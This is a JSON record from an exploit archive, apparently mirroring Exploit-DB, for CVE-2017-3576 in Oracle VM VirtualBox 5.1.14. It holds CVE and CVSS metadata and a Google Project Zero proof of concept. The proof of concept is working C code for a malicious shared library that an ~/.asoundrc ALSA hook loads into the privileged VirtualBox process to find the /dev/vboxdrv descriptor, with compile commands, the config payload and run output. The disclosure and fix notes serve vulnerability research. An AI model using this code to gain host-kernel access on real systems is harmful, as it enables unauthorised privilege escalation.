{"exploit":{"id":"EDB-41907","name":"Oracle VM VirtualBox 5.1.14 r112924 - Unprivileged Host User to Host Kernel Privilege Escalation via ALSA config","description":"Oracle VM VirtualBox 5.1.14 r112924 - Unprivileged Host User to Host Kernel Privilege Escalation via ALSA config","cves":["CVE-2017-3576"],"author":"Google Security Research","published":"2017-04-20","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41907","path":"exploits/linux/local/41907.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41907.c","vulnerabilities":[{"id":"CVE-2017-3576","state":"PUBLISHED","title":null,"titleSource":null,"description":"Vulnerability in the Oracle VM VirtualBox component of Oracle Virtualization (subcomponent: Core). Supported versions that are affected are Prior to 5.0.38 and Prior to 5.1.20. Easily \"exploitable\" vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.0 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-3576","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-3576"},"updatedAt":"2024-10-04T19:20:32.515Z","retrievedAt":"2026-11-26T14:10:56.559Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41907.png?v=2","url":"https://exploitbin.com/exploits/EDB-41907","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41907/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41907/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=1141\n\nThis is another way to escalate from an unprivileged userspace process\ninto the VirtualBox process, which has an open file descriptor to the\nprivileged device /dev/vboxdrv and can use that to compromise the\nhost kernel.\n\nThe issue is that, for VMs with ALSA audio, the privileged VM host\nprocess loads libasound, which parses ALSA configuration files,\nincluding one at ~/.asoundrc. ALSA is not designed to run in a setuid\ncontext and therefore deliberately permits loading arbitrary shared\nlibraries via dlopen().\n\nTo reproduce, on a normal Ubuntu desktop installation with VirtualBox\ninstalled, first configure a VM with ALSA audio, then (where\nee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):\n\n\n~$ cd /tmp\n/tmp$ cat > evil_vbox_lib.c\n*/\n\n#define _GNU_SOURCE\n\n#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys/prctl.h>\n\nextern char *program_invocation_short_name;\n\n__attribute__((constructor)) void run(void) {\n\tif (strcmp(program_invocation_short_name, \"VirtualBox\"))\n\t\treturn;\n\n\tprctl(PR_SET_DUMPABLE, 1);\n\tprintf(\"running in pid %d\\n\", getpid());\n\tprintf(\"searching for vboxdrv file descriptor in current process...\\n\");\n\tchar linkbuf[1000];\n\tchar *needle = \"/dev/vboxdrv\";\n\tfor (int i=0; i<1000; i++) {\n\t\tchar linkpath[1000];\n\t\tsprintf(linkpath, \"/proc/self/fd/%d\", i);\n\t\tssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);\n\t\tif (linklen == -1) continue;\n\t\tif (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {\n\t\t\tprintf(\"found it, fd %d is /dev/vboxdrv\\n\", i);\n\t\t}\n\t}\n\t_exit(0);\n}\n\n/*\n/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99\n/tmp$ cat > ~/.asoundrc\nhook_func.pulse_load_if_running {\n        lib \"/tmp/evil_vbox_lib.so\"\n        func \"conf_pulse_hook_load_if_running\"\n}\n/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c\nrunning in pid 8910\nsearching for vboxdrv file descriptor in current process...\nfound it, fd 7 is /dev/vboxdrv\n/tmp$ rm ~/.asoundrc\n\n\nI believe that the ideal way to fix this would involve running\nlibasound, together with other code that doesn't require elevated\nprivileges - which would ideally be all userland code -, in an\nunprivileged process. However, for now, moving only the audio output\nhandling into an unprivileged process might also do the job; I haven't\nyet checked whether there are more libraries VirtualBox loads that\npermit loading arbitrary libraries into the VirtualBox process.\n\nYou could probably theoretically also fix this by modifying libasound\nto suppress dangerous configuration directives in ~/.asoundrc, but I\nbelieve that that would be brittle and hard to maintain.\n\nTested on Ubuntu 14.04.5 with VirtualBox 5.1.14 r112924.\n*/","sha256":"30d90363d6ac41547749b5dadc811f5e149ef7582a1b948bec896b86eb33ce26","bytes":2823,"fetchedAt":"2026-11-26T14:10:56.386Z","encoding":"utf-8 (display only; download retains original bytes)"}